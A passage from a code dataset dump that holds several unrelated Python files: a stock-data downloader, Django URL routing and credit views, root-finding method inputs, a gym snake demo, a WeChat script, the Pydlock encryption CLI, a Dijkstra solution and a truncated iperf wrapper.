dt.timedelta(days=1)\n for j in range(29):\n if not os.path.exists('MarketData/'+i+'/'+yesterday.strftime(\"%Y-%m-%d\")+'.csv'):\n if not yesterday.weekday() > 4 :\n pdr.DataReader(i,yesterday.strftime(\"%Y-%m-%d\"),day.strftime(\"%Y-%m-%d\"), interval=\"1m\").to_csv('MarketData/'+i+'/'+yesterday.strftime(\"%Y-%m-%d\")+'.csv')\n day = yesterday\n yesterday = day - dt.timedelta(days=1)\n\nprint (\"done\")\n\n", "sub_path": "getData.py", "file_name": "getData.py", "file_ext": "py", "file_size_in_byte": 1184, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "59", "api": [{"api_name": "yfinance.pdr_override", "line_number": 16, "usage_type": "call"}, {"api_name": "datetime.date.today", "line_number": 17, "usage_type": "call"}, {"api_name": "datetime.date", "line_number": 17, "usage_type": "attribute"}, {"api_name": "os.path.exists", "line_number": 26, "usage_type": "call"}, {"api_name": "os.path", "line_number": 26, "usage_type": "attribute"}, {"api_name": "os.makedirs", "line_number": 27, "usage_type": "call"}, {"api_name": "datetime.date.today", "line_number": 31, "usage_type": "call"}, {"api_name": "datetime.date", "line_number": 31, "usage_type": "attribute"}, {"api_name": "datetime.timedelta", "line_number": 32, "usage_type": "call"}, {"api_name": "os.path.exists", "line_number": 34, "usage_type": "call"}, {"api_name": "os.path", "line_number": 34, "usage_type": "attribute"}, {"api_name": "pandas_datareader.data.DataReader", "line_number": 36, "usage_type": "call"}, {"api_name": "pandas_datareader.data", "line_number": 36, "usage_type": "name"}, {"api_name": "datetime.timedelta", "line_number": 38, "usage_type": "call"}]} {"seq_id": "183785122", "text": "\"\"\"multiple_apps URL Configuration\n\nThe `urlpatterns` list routes URLs to views. For more information please see:\n https://docs.djangoproject.com/en/1.10/topics/http/urls/\nExamples:\nFunction views\n 1. Add an import: from my_app import views\n 2. Add a URL to urlpatterns: url(r'^$', views.home, name='home')\nClass-based views\n 1. Add an import: from other_app.views import Home\n 2. Add a URL to urlpatterns: url(r'^$', Home.as_view(), name='home')\nIncluding another URLconf\n 1. Import the include() function: from django.conf.urls import url, include\n 2. Add a URL to urlpatterns: url(r'^blog/', include('blog.urls'))\n\"\"\"\nfrom django.conf.urls import url, include\nfrom django.contrib import admin\n\nurlpatterns = [\n url(r'^admin/', admin.site.urls),\n url(r'^',include('apps.testmodels.urls',namespace='testmodels')),\n url(r'^timedisplay/',include('apps.timedisplay.urls',namespace='timedisplay')),\n url(r'^surveyform/',include('apps.surveyform.urls',namespace='surveyform')),\n url(r'^random_word/',include('apps.random_word.urls',namespace='random_word')),\n url(r'^login_reg/',include('apps.login_reg.urls',namespace='login_reg')),\n url(r'^course_app/',include('apps.course_app.urls',namespace='course_app')),\n]\n", "sub_path": "django/multiple_apps/multiple_apps/urls.py", "file_name": "urls.py", "file_ext": "py", "file_size_in_byte": 1257, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "59", "api": [{"api_name": "django.conf.urls.url", "line_number": 20, "usage_type": "call"}, {"api_name": "django.contrib.admin.site", "line_number": 20, "usage_type": "attribute"}, {"api_name": "django.contrib.admin", "line_number": 20, "usage_type": "name"}, {"api_name": "django.conf.urls.url", "line_number": 21, "usage_type": "call"}, {"api_name": "django.conf.urls.include", "line_number": 21, "usage_type": "call"}, {"api_name": "django.conf.urls.url", "line_number": 22, "usage_type": "call"}, {"api_name": "django.conf.urls.include", "line_number": 22, "usage_type": "call"}, {"api_name": "django.conf.urls.url", "line_number": 23, "usage_type": "call"}, {"api_name": "django.conf.urls.include", "line_number": 23, "usage_type": "call"}, {"api_name": "django.conf.urls.url", "line_number": 24, "usage_type": "call"}, {"api_name": "django.conf.urls.include", "line_number": 24, "usage_type": "call"}, {"api_name": "django.conf.urls.url", "line_number": 25, "usage_type": "call"}, {"api_name": "django.conf.urls.include", "line_number": 25, "usage_type": "call"}, {"api_name": "django.conf.urls.url", "line_number": 26, "usage_type": "call"}, {"api_name": "django.conf.urls.include", "line_number": 26, "usage_type": "call"}]} {"seq_id": "652355552", "text": "# -*- coding: utf-8 -*-\n'''\n\t\t @file: input.py\n\t\t @date: \n\t\t @author: Carlos Adir (carlos.adir.leite@gmail.com)\n\t@description: This code is to be the inputs of the codes, only for don't repeat the same part of code\n\t\t\t\t\tin all the files\n\n'''\n\nimport sympy as sp\nimport numpy as np\nimport aux\n\n\nlimites = [\t[1, 3],\\\n\t\t\t[1, 5],\\\n\t\t\t[1, 3],\\\n\t\t\t[1, 3],\\\n\t\t\t[1, 3]]\n\ndef get(algorithm, number):\n\tlimite = limites[algorithm-1]\n\tif number < limite[0]:\n\t\tnumber = limite[0]\n\tif number > limite[1]:\n\t\tnumber = limite[1]\n\n\tif algorithm == 1:\n\t\treturn lambda : in1(number)\n\telif algorithm == 2:\n\t\treturn lambda : in2(number)\n\telif algorithm == 3:\n\t\treturn lambda : in3(number)\n\telif algorithm == 4:\n\t\treturn lambda : in4(number)\n\telif algorithm == 5:\n\t\treturn lambda : in5(number)\n\ndef in1(number):\n\tt\t\t= sp.symbols('t')\n\tif number == 1:\n\t\ta, b = 1, 2\t\t\t\t\t\t\t# The interval, it's suppose that a < b\n\t\tf = t**2 - 3\t\t\t\t\t\t# The function\n\t\ttol = 1e-5 \t\t\t\t\t\t\t# The max error acceptable\n\t\tnmax = 10 \t\t\t\t\t\t\t# Max number iteractions \n\telif number == 2:\n\t\ta, b = 2, 4\t\t\t\t\t\t\t# The interval, it's suppose that a < b\n\t\tf = t**2-2*t-4\t \t\t\t\t# The function\n\t\ttol = 1e-5 \t\t\t\t\t\t\t# The max error acceptable\n\t\tnmax = 10 \t\t\t\t\t\t\t# Max number iteractions\n\telif number == 3:\n\t\ta, b = 1, 2\t\t\t\t\t\t\t# The interval, it's suppose that a < b\n\t\tf = t**3+4*t**2-10 \t\t\t\t# The function\n\t\ttol = 1e-5\t\t\t\t\t\t\t# The max error acceptable\n\t\tnmax = 10\t\t\t\t\t\t\t# Max number iteractions\n\n\n\n\t# The begin to start the calculations\n\tfeval \t= sp.lambdify(t, f, \"numpy\")\n\tflatex\t= \"$f(t) = \" + aux.toLaTeX(f)\n\tf\t\t= aux.Funcao(feval, flatex)\n\treturn a, b, f, tol, nmax\n\ndef in2(number):\n\tt\t\t= sp.symbols('t')\n\tif 1 <= number <= 5:\n\t\tp0 \t\t= 1.5 \t\t\t\t\t\t\t# The initial aproximation\n\t\tf = t**3+4*t**2-10 \t\t\t\t# The function that we want to calculate the roots\n\t\ttol = 1e-5 \t\t\t\t\t\t\t# The max error acceptable\n\t\tnmax = 10 \t\t\t\t\t\t\t# Max number iteractions\n\t\tif number == 1:\n\t\t\tg \t\t= t - t**3 - 4*t**2 + 10\t\t\t\t# It doesn't converg\n\t\telif number == 2:\n\t\t\tg \t\t= sp.sqrt(4*t - 10/t)\t\t\t\t\t\t# It doesn't converg\n\t\telif number == 3:\n\t\t\tg \t\t= sp.sqrt(10-t**3)/2\t\t\t\t\t# The fixed point function, using f(x) = 0 we can get x = sqrt(10-x**3)/2\n\t\telif number == 4:\n\t\t\tg \t\t= sp.sqrt(10/(4+t))\t\t\t\t\t\t# It converges quite well\n\t\telif number == 5:\n\t\t\tg \t\t= t - (t**3+4*t**2-10)/(3*t**2 + 8*t)\t# It converges very well, we will see this funcion in the Newton's method\n\n\n\tg_ \t\t= sp.diff(g, t)\t\t\t\t\t\t# The function g' derivative of g\n\t\n\tfeval \t= sp.lambdify(t, f, \"numpy\")\n\tflatex\t= \"$f(t) = \" + aux.toLaTeX(f)\n\tf\t\t= aux.Funcao(feval, flatex)\n\n\tgeval \t= sp.lambdify(t, g, \"numpy\")\n\tglatex\t= \"$g(t) = \" + aux.toLaTeX(g)\n\tg\t\t= aux.Funcao(geval, glatex)\n\n\tg_eval \t= sp.lambdify(t, g_, \"numpy\")\n\tg_latex\t= \"$g'(t) = \" + aux.toLaTeX(g_)\n\tg_\t\t= aux.Funcao(g_eval, g_latex)\n\n\t\n\n\treturn p0, f, g, g_, tol, nmax\n\ndef in3(number):\n\tt\t\t= sp.symbols('t')\n\tif number == 1:\n\t\tp0\t\t= 1.5\t\t\t\t\t\t\t# The interval, it's suppose that a < b\n\t\tf = t**2 - 3\t\t\t\t\t\t# The function\n\t\ttol = 1e-5 \t\t\t\t\t\t\t# The max error acceptable\n\t\tnmax = 10 \t\t\t\t\t\t\t# Max number iteractions \n\telif number == 2:\n\t\tp0 \t\t= 3\t\t\t\t\t\t\t\t# The interval, it's suppose that a < b\n\t\tf = t**2-2*t-4\t \t\t\t\t# The function\n\t\ttol = 1e-5 \t\t\t\t\t\t\t# The max error acceptable\n\t\tnmax = 10 \t\t\t\t\t\t\t# Max number iteractions\n\telif number == 3:\n\t\tp0 \t\t= 1.5\t\t\t\t\t\t\t# The interval, it's suppose that a < b\n\t\tf = t**3+4*t**2-10 \t\t\t\t# The function\n\t\ttol = 1e-5\t\t\t\t\t\t\t# The max error acceptable\n\t\tnmax = 10\t\t\t\t\t\t\t# Max number iteractions\n\n\n\tf_ \t\t= sp.diff(f, t)\t\t\t\t\t\t# The function f' derivative of f\n\n\t# The begin to start the calculations\n\tfeval \t= sp.lambdify(t, f, \"numpy\")\n\tflatex\t= \"$f(t) = \" + aux.toLaTeX(f)\n\tf\t\t= aux.Funcao(feval, flatex)\n\n\tf_eval \t= sp.lambdify(t, f_, \"numpy\")\n\tf_latex\t= \"$f'(t) = \" + aux.toLaTeX(f_)\n\tf_\t\t= aux.Funcao(f_eval, f_latex)\n\n\treturn p0, f, f_, tol, nmax\n\t\ndef in4(number):\n\tt\t\t= sp.symbols('t')\n\tif number == 1:\n\t\tp0, p1\t= 1, 2\t\t\t\t\t\t\t# The interval, it's suppose that a < b\n\t\tf\t\t= t**2 - 3\t\t\t\t\t\t# The function\n\t\ttol\t\t= 1e-5 \t\t\t\t\t\t\t# The max error acceptable\n\t\tnmax\t= 10 \t\t\t\t\t\t\t# Max number iteractions \n\telif number == 2:\n\t\tp0, p1 = 2, 4\t\t\t\t\t\t\t# The interval, it's suppose that a < b\n\t\tf = t**2-2*t-4\t \t\t\t\t# The function\n\t\ttol = 1e-5 \t\t\t\t\t\t\t# The max error acceptable\n\t\tnmax = 10 \t\t\t\t\t\t\t# Max number iteractions\n\telif number == 3:\n\t\tp0, p1\t= 1, 2\t\t\t\t\t\t\t# The interval, it's suppose that a < b\n\t\tf = t**3+4*t**2-10 \t\t\t\t# The function\n\t\ttol = 1e-5\t\t\t\t\t\t\t# The max error acceptable\n\t\tnmax = 10\t\t\t\t\t\t\t# Max number iteractions\n\n\n\n\t# The begin to start the calculations\n\tfeval \t= sp.lambdify(t, f, \"numpy\")\n\tflatex\t= \"$f(t) = \" + aux.toLaTeX(f)\n\tf\t\t= aux.Funcao(feval, flatex)\n\treturn p0, p1, f, tol, nmax\n\ndef in5(number):\n\treturn in4(number)\n\n", "sub_path": "2/inputs.py", "file_name": "inputs.py", "file_ext": "py", "file_size_in_byte": 4835, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "59", "api": [{"api_name": "sympy.symbols", "line_number": 41, "usage_type": "call"}, {"api_name": "sympy.lambdify", "line_number": 61, "usage_type": "call"}, {"api_name": "aux.toLaTeX", "line_number": 62, "usage_type": "call"}, {"api_name": "aux.Funcao", "line_number": 63, "usage_type": "call"}, {"api_name": "sympy.symbols", "line_number": 67, "usage_type": "call"}, {"api_name": "sympy.sqrt", "line_number": 76, "usage_type": "call"}, {"api_name": "sympy.sqrt", "line_number": 78, "usage_type": "call"}, {"api_name": "sympy.sqrt", "line_number": 80, "usage_type": "call"}, {"api_name": "sympy.diff", "line_number": 85, "usage_type": "call"}, {"api_name": "sympy.lambdify", "line_number": 87, "usage_type": "call"}, {"api_name": "aux.toLaTeX", "line_number": 88, "usage_type": "call"}, {"api_name": "aux.Funcao", "line_number": 89, "usage_type": "call"}, {"api_name": "sympy.lambdify", "line_number": 91, "usage_type": "call"}, {"api_name": "aux.toLaTeX", "line_number": 92, "usage_type": "call"}, {"api_name": "aux.Funcao", "line_number": 93, "usage_type": "call"}, {"api_name": "sympy.lambdify", "line_number": 95, "usage_type": "call"}, {"api_name": "aux.toLaTeX", "line_number": 96, "usage_type": "call"}, {"api_name": "aux.Funcao", "line_number": 97, "usage_type": "call"}, {"api_name": "sympy.symbols", "line_number": 104, "usage_type": "call"}, {"api_name": "sympy.diff", "line_number": 122, "usage_type": "call"}, {"api_name": "sympy.lambdify", "line_number": 125, "usage_type": "call"}, {"api_name": "aux.toLaTeX", "line_number": 126, "usage_type": "call"}, {"api_name": "aux.Funcao", "line_number": 127, "usage_type": "call"}, {"api_name": "sympy.lambdify", "line_number": 129, "usage_type": "call"}, {"api_name": "aux.toLaTeX", "line_number": 130, "usage_type": "call"}, {"api_name": "aux.Funcao", "line_number": 131, "usage_type": "call"}, {"api_name": "sympy.symbols", "line_number": 136, "usage_type": "call"}, {"api_name": "sympy.lambdify", "line_number": 156, "usage_type": "call"}, {"api_name": "aux.toLaTeX", "line_number": 157, "usage_type": "call"}, {"api_name": "aux.Funcao", "line_number": 158, "usage_type": "call"}]} {"seq_id": "177961633", "text": "import gym\nimport gym_zmeyka\n\nenv = gym.make('zmeyka-v0')\nlast_reward = 0\n\nenv.reset()\nfor _ in range(1000):\n env.render()\n last_obs, rewards, done, info = env.step(env.action_space.sample())\n \n if done: break", "sub_path": "main.py", "file_name": "main.py", "file_ext": "py", "file_size_in_byte": 221, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "gym.make", "line_number": 4, "usage_type": "call"}]} {"seq_id": "127084185", "text": "import configparser\nimport requests\nfrom wxpy import *\nimport itchat\n\n# 获取每日精句\ndef get_message():\n message = requests.get('http://open.iciba.com/dsapi/')\n note = message.json()['note']\n content = message.json()['content']\n return note,content\n #print(message.json())\n\ndef send_message(message):\n bot = Bot()\n friends = bot.friends()\n for friend in friends:\n print(friend)\n\n\nif __name__ == '__main__':\n send_message(2)\n get_message()\n # cf = configparser.ConfigParser()\n # cf.read('configure.ini', \"utf-8\")\n # print(cf.options('configure'))\n # print(cf.get('configure','weixin_name'))", "sub_path": "爬虫学习/每天不同时段通过微信给好友发消息/每天不同时段通过微信给好友发消息.py", "file_name": "每天不同时段通过微信给好友发消息.py", "file_ext": "py", "file_size_in_byte": 644, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "requests.get", "line_number": 8, "usage_type": "call"}]} {"seq_id": "125487080", "text": "#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\n'''\n\nA command line utility for the Pydlock package.\n\nSoftware: Pydlock\nAuthor: Erick Edward Shepherd\nE-mail: Contact@ErickShepherd.com\nGitHub: https://www.github.com/ErickShepherd/pydlock\nPyPI: https://pypi.org/project/pydlock/\nDate created: 2020-04-30\nLast modified: 2020-04-30\n\n\nDescription:\n \n A command line utility for the Pydlock package, which allows users to lock\n and unlock files with a password, or run Python scripts locked by Pydlock.\n\n\nUsage:\n\n This module may be executed from the command line as a Python script:\n \n python -m pydlock\n \n Running the script without any arguments will display the usage:\n \n usage: pydlock.py [-h] [--arguments ARGUMENTS] [--encoding ENCODING]\n {lock,unlock,python,run} file\n \n Supported operations include:\n \n lock: Encrypts a file in-place.\n unlock: Decrypts a file in-place.\n python: Decrypts and runs the contents of a Python file.\n run: Temporarily decrypts, runs, and re-encrypts an arbitrary file.\n \n Example:\n \n python -m pydlock lock example.txt --encoding=utf-8\n \n\nCopyright:\n \n Pydlock - A Python file encryption tool.\n \n Copyright (c) 2020 of Erick Edward Shepherd, all rights reserved.\n\n\nLicense:\n \n This file is part of \"Pydlock\" (the \"Software\").\n \n MIT License\n\n Copyright (c) 2020 Erick Edward Shepherd\n\n Permission is hereby granted, free of charge, to any person obtaining a\n copy of this software and associated documentation files (the \"Software\"),\n to deal in the Software without restriction, including without limitation\n the right to use, copy, modify, merge, publish, distribute, sublicense,\n and/or sell copies of the Software, and to permit persons to whom the\n Software is furnished to do so, subject to the following conditions:\n\n The above copyright notice and this permission notice shall be included in\n all copies or substantial portions of the Software.\n\n THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING\n FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER\n DEALINGS IN THE SOFTWARE.\n\n\nNotes:\n \n Issues with use on Windows executables:\n \n Because the files are modified, locking and unlocking executables on\n Windows does not preserve their checksum. Consequently, after locking\n and unlocking an executable on Windows, when an execution is attempted,\n the system raises an error for security purposes:\n \n \"This version of <file> is not compatible with the version of\n Windows you're running. Check your computer's system information\n and then contact the software publisher.\"\n \n There does not appear to be a simple resolution for this issue, and the\n files effectively become corrupted.\n\n'''\n\n# Standard library imports.\nimport os\nfrom argparse import ArgumentParser\n\n# Local application imports.\nimport pydlock\nfrom pydlock.constants import DEFAULT_ENCODING\n\n# Dunder definitions.\n__author__ = pydlock.__author__\n__version__ = pydlock.__version__\n\nif __name__ == \"__main__\":\n \n # Maps function names to the respective function.\n function_map = {\n \"lock\" : pydlock.lock,\n \"unlock\" : pydlock.unlock,\n \"python\" : pydlock.python,\n \"run\" : pydlock.run\n }\n \n # Parses command-line arguments from the user.\n parser = ArgumentParser()\n parser.add_argument(\"operation\", choices = function_map.keys())\n parser.add_argument(\"file\", type = os.path.abspath)\n parser.add_argument(\"--arguments\", type = str, default = \"\")\n parser.add_argument(\"--encoding\", type = str, default = DEFAULT_ENCODING)\n kwargv = vars(parser.parse_args())\n \n # Aliases parsed command-line arguments for brevity.\n task = function_map[kwargv[\"operation\"]]\n path = kwargv[\"file\"]\n arguments = kwargv[\"arguments\"]\n encoding = kwargv[\"encoding\"]\n \n # Performs the indicated task.\n task(path, arguments, encoding)\n", "sub_path": "pydlock/__main__.py", "file_name": "__main__.py", "file_ext": "py", "file_size_in_byte": 4490, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "59", "api": [{"api_name": "pydlock.__author__", "line_number": 107, "usage_type": "attribute"}, {"api_name": "pydlock.__version__", "line_number": 108, "usage_type": "attribute"}, {"api_name": "pydlock.lock", "line_number": 114, "usage_type": "attribute"}, {"api_name": "pydlock.unlock", "line_number": 115, "usage_type": "attribute"}, {"api_name": "pydlock.python", "line_number": 116, "usage_type": "attribute"}, {"api_name": "pydlock.run", "line_number": 117, "usage_type": "attribute"}, {"api_name": "argparse.ArgumentParser", "line_number": 121, "usage_type": "call"}, {"api_name": "os.path", "line_number": 123, "usage_type": "attribute"}, {"api_name": "pydlock.constants.DEFAULT_ENCODING", "line_number": 125, "usage_type": "name"}]} {"seq_id": "205917001", "text": "#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Wed Jan 31 12:41:46 2018\n\n@author: owen\n\"\"\"\n\n# https://leetcode.com/problems/network-delay-time/solution/\n#import collections\n#class Solution:\n# def networkDelayTime(self, times, N, K):\n# \"\"\"\n# :type times: List[List[int]]\n# :type N: int\n# :type K: int\n# :rtype: int\n# \"\"\"\n# graph=collections.defaultdict(list)\n# for u,v,w in times:\n# graph[u].append([w,v])\n# \n# dist={nd:float('inf') for nd in range(1,N+1)}\n# \n# def dfs(node,elapsed):\n# if elapsed>=dist[node]: # some signal arrived earlier, do not need broadcast this node\n# return\n# dist[node]=elapsed\n# for time, nei in sorted(graph[node]): # signal the faster neighbors first\n# dfs(nei, elapsed + time)\n# \n# dfs(K,0)\n# res=max(dist.values())\n# return res if res<float('inf') else -1 \n\n\n# http://www.cnblogs.com/grandyang/p/8278115.html\n#import collections\n#class Solution:\n# def networkDelayTime(self, times, N, K):\n# \"\"\"\n# :type times: List[List[int]]\n# :type N: int\n# :type K: int\n# :rtype: int\n# \"\"\"\n# # Dijkstra finds the shortest path from source to all targets. BFS implement. time O(N^2)\n# graph=[[-1]*(N+1) for _ in range(N+1)]\n# for u,v,w in times:\n# graph[u][v]=w\n# \n# dist=[float('inf') for _ in range(N+1)]\n# dist[K]=0\n# dq=collections.deque([K])\n# \n# while dq:\n# visited=set()\n# dq_len=len(dq)\n# for i in range(dq_len):\n# u=dq.popleft()\n# for v in range(1,N+1):\n# if graph[u][v]!=-1 and dist[u]+graph[u][v]<dist[v]:\n# dist[v]=dist[u]+graph[u][v]\n# if v not in visited:\n# visited.add(v)\n# dq.append(v)\n# \n# res=max(dist[1:]) # dist[0] is alway inf\n# return res if res<float('inf') else -1 \n\nimport heapq\nimport collections\nclass Solution:\n def networkDelayTime(self, times, N, K):\n \"\"\"\n :type times: List[List[int]]\n :type N: int\n :type K: int\n :rtype: int\n \"\"\"\n graph=collections.defaultdict(list)\n for u,v,w in times:\n graph[u].append((v,w))\n \n h=[(0,K)] # put distance first\n heapq.heapify(h)\n dist={}\n while h:\n d,node=heapq.heappop(h) # the poped d must be the smallest distance arrived node, cc we use heap here\n if node in dist:\n continue\n dist[node]=d\n for nei,nd in graph[node]:\n if nei not in dist:\n heapq.heappush(h,(d+nd,nei))\n \n return max(dist.values()) if len(dist)==N else -1\n\nif __name__==\"__main__\":\n print(Solution().networkDelayTime([[1,2,10],[2,4,11],[1,3,12],[3,4,8]],4,1))", "sub_path": "743. Network Delay Time.py", "file_name": "743. Network Delay Time.py", "file_ext": "py", "file_size_in_byte": 3105, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "collections.defaultdict", "line_number": 81, "usage_type": "call"}, {"api_name": "heapq.heapify", "line_number": 86, "usage_type": "call"}, {"api_name": "heapq.heappop", "line_number": 89, "usage_type": "call"}, {"api_name": "heapq.heappush", "line_number": 95, "usage_type": "call"}]} {"seq_id": "91293819", "text": "from django.shortcuts import render\r\nfrom .models import Credit, Bank\r\nfrom django.contrib.auth.decorators import login_required\r\nfrom django.contrib.auth.models import User\r\nfrom django.http import HttpResponse\r\n# Create your views here.\r\nfrom django.contrib.auth.mixins import LoginRequiredMixin\r\nfrom django.views import generic\r\n\r\n\r\ndef homepage(request):\r\n num_clients = Credit.objects.all().count()\r\n return render(\r\n request,\r\n 'homepage.html',\r\n context={'num_clients': num_clients}\r\n )\r\n\r\n\r\n@login_required\r\ndef my_view(request):\r\n return render(request, 'profile.html', {\"limit\": request.user.clientinformation.salary_month*12*0.5})\r\n\r\n\r\n@login_required\r\ndef take_credit(request):\r\n salary = request.user.clientinformation.salary_month*12*0.5\r\n bank = Bank.objects.get(procent=30)\r\n if (request.user.credit.status==True):\r\n return HttpResponse(\"<h1>Firstly pay for current credit!</h1>\", status=404)\r\n if 570000*0.1 > bank.budjet:\r\n return HttpResponse(\"<h1>Wrong operation. Lending is temporarily unavailable!</h1>\", status=404)\r\n else:\r\n if request.method == 'POST':\r\n data = request.POST.copy()\r\n if data.get(\"YES\") == None:\r\n return render(request, 'credit_operation/decline.html')\r\n if int(data.get(\"size\")) > bank.budjet * 0.5 or int(data.get(\"size\")) < bank.budjet * 0.01 or int(data.get(\"size\")) > salary:\r\n return HttpResponse('<h1>Wrong operation. You put wrong credit size</h1>', status=403)\r\n bank.budjet = bank.budjet - int(data.get(\"size\"))\r\n request.user.credit.status = True\r\n request.user.credit.size = int(data.get(\"size\"))\r\n bank.save()\r\n request.user.credit.save()\r\n return render(request, 'credit_operation/success.html')\r\n if salary < bank.budjet * 0.01:\r\n return HttpResponse(\"<h1>Wrong operation. Your credit limit is too low!</h1>\", status=404)\r\n if salary < bank.budjet * 0.5:\r\n context = {\r\n \"min\": str(bank.budjet * 0.01),\r\n \"max\": str(salary)\r\n }\r\n else:\r\n context = {\r\n \"min\": str(bank.budjet * 0.01),\r\n \"max\": str(bank.budjet * 0.5)\r\n }\r\n return render(request, 'credit_operation/take_credit.html', context)\r\n\r\n@login_required\r\ndef pay_credit(request):\r\n bank = Bank.objects.get(procent=30)\r\n if (request.user.credit.status==False):\r\n return HttpResponse(\"<h1>Firstly take some credit!</h1>\", status=404)\r\n else:\r\n if request.method == 'POST':\r\n data = request.POST.copy()\r\n if data.get(\"NO\") == None:\r\n request.user.credit.status = False\r\n bank.budjet+=request.user.credit.size\r\n request.user.credit.size = 0\r\n bank.save()\r\n request.user.credit.save()\r\n return render(request, 'credit_operation/success.html')\r\n else:\r\n return render(request, 'credit_operation/decline.html')\r\n return render(request, 'credit_operation/pay_credit.html')\r\n\r\n", "sub_path": "app/views.py", "file_name": "views.py", "file_ext": "py", "file_size_in_byte": 3188, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "59", "api": [{"api_name": "models.Credit.objects.all", "line_number": 12, "usage_type": "call"}, {"api_name": "models.Credit.objects", "line_number": 12, "usage_type": "attribute"}, {"api_name": "models.Credit", "line_number": 12, "usage_type": "name"}, {"api_name": "django.shortcuts.render", "line_number": 13, "usage_type": "call"}, {"api_name": "django.shortcuts.render", "line_number": 22, "usage_type": "call"}, {"api_name": "django.contrib.auth.decorators.login_required", "line_number": 20, "usage_type": "name"}, {"api_name": "models.Bank.objects.get", "line_number": 28, "usage_type": "call"}, {"api_name": "models.Bank.objects", "line_number": 28, "usage_type": "attribute"}, {"api_name": "models.Bank", "line_number": 28, "usage_type": "name"}, {"api_name": "django.http.HttpResponse", "line_number": 30, "usage_type": "call"}, {"api_name": "django.http.HttpResponse", "line_number": 32, "usage_type": "call"}, {"api_name": "django.shortcuts.render", "line_number": 37, "usage_type": "call"}, {"api_name": "django.http.HttpResponse", "line_number": 39, "usage_type": "call"}, {"api_name": "django.shortcuts.render", "line_number": 45, "usage_type": "call"}, {"api_name": "django.http.HttpResponse", "line_number": 47, "usage_type": "call"}, {"api_name": "django.shortcuts.render", "line_number": 58, "usage_type": "call"}, {"api_name": "django.contrib.auth.decorators.login_required", "line_number": 25, "usage_type": "name"}, {"api_name": "models.Bank.objects.get", "line_number": 62, "usage_type": "call"}, {"api_name": "models.Bank.objects", "line_number": 62, "usage_type": "attribute"}, {"api_name": "models.Bank", "line_number": 62, "usage_type": "name"}, {"api_name": "django.http.HttpResponse", "line_number": 64, "usage_type": "call"}, {"api_name": "django.shortcuts.render", "line_number": 74, "usage_type": "call"}, {"api_name": "django.shortcuts.render", "line_number": 76, "usage_type": "call"}, {"api_name": "django.shortcuts.render", "line_number": 77, "usage_type": "call"}, {"api_name": "django.contrib.auth.decorators.login_required", "line_number": 60, "usage_type": "name"}]} {"seq_id": "326531370", "text": "#!/usr/bin/env python\n# Copyright (c) 2020 VMware, Inc. All Rights Reserved.\n# SPDX-License-Identifier: BSD-2 License\n# The full license information can be found in LICENSE.txt\n# in the root directory of this project.\n\"\"\"\nApp for running iperf server or client.\n\"\"\"\nimport logging\nimport random\nimport time\n\nimport axon.apps.console as console\n\nlog = logging.getLogger(__name__)\n\n\nclass Iperf(console.Console):\n\n IPERF_BIN = 'iperf3'\n _START_RAND_PORT = 5600\n _END_RAND_PORT = 6000\n _STARTING_JOB_ID = 1000\n\n def __init__(self):\n super(Iperf, self).__init__()\n # {<port>: <popen obj>}\n self._server_handles = {}\n\n # {<job_id>: {'popen_obj': <popen obj>,\n # 'state': 'running' | 'done',\n # 'result': < None | JSON output>,\n # 'cmd': <command>\n # }\n self._client_handles = {}\n self._job_id = None\n self._gen_rand_port = self._gen_rand_port(self._START_RAND_PORT,\n self._END_RAND_PORT)\n\n def start_iperf_server(self, port=None, args=''):\n \"\"\"\n Start iperf server on given port. If port is not\n provided, random port will be used.\n\n :param port: (int) TCP port number (default: None)\n :param args: (str) Additional iperf supported args\n :return:\n port: (int) TCP port number being used for iperf server\n \"\"\"\n if not port:\n port = next(self._gen_rand_port)\n if self.is_running(port):\n log.info(\"Server is already running on port: %d\"\n \"Skip starting server.\" % port)\n return port\n cmd = self.IPERF_BIN + ' ' + '-s -p %s' % str(port)\n if args:\n cmd += ' ' + args\n p = self._start_subprocess(cmd)\n # Check server is running\n for _ in range(3):\n if self.is_running(port):\n self._server_handles[port] = p\n log.info(\"Server is running on port:%d \" % port)\n break\n time.sleep(1)\n else:\n msg = \"unable to start iperf3 server. check port:%d is available.\" % port\n log.error(msg)\n raise RuntimeError(msg)\n return port\n\n def _gen_rand_port(self, start_port, end_port):\n\n for _ in range(start_port, end_port + 1):\n port = random.randint(start_port, end_port)\n if port not in self._server_handles:\n yield port\n else:\n msg = \"Running out of random port between starting port: %d - \"\\\n \"ending port: %d\" % (start_port, end_port)\n log.error(msg)\n raise ValueError(msg)\n\n def get_server_ports(self):\n \"\"\"\n Get running server ports.\n :return:\n list of currently running server ports\n \"\"\"\n return [p for p in self._server_handles.keys()]\n\n def stop_iperf_server(self, port):\n \"\"\"\n Stop iperf server for given port.\n \"\"\"\n proc = self._server_handles.get(port)\n if proc:\n self._kill_subprocess(proc)\n self._server_handles.pop(port)\n\n def stop_iperf_client(self, job_id):\n \"\"\"\n Stop iperf client for given job_id.\n \"\"\"\n job = self._client_handles.get(job_id)\n if job:\n self._kill_subprocess(job.get('popen_obj'))\n self._client_handles.pop(job_id)\n\n def start_iperf_client(self, dst_ip, dst_port, duration=10, udp=False,\n bandwidth=None, args=''):\n \"\"\"\n Start iperf client to given dst_ip and port.\n\n :param dst_ip: (str) IP address of iperf server\n :param 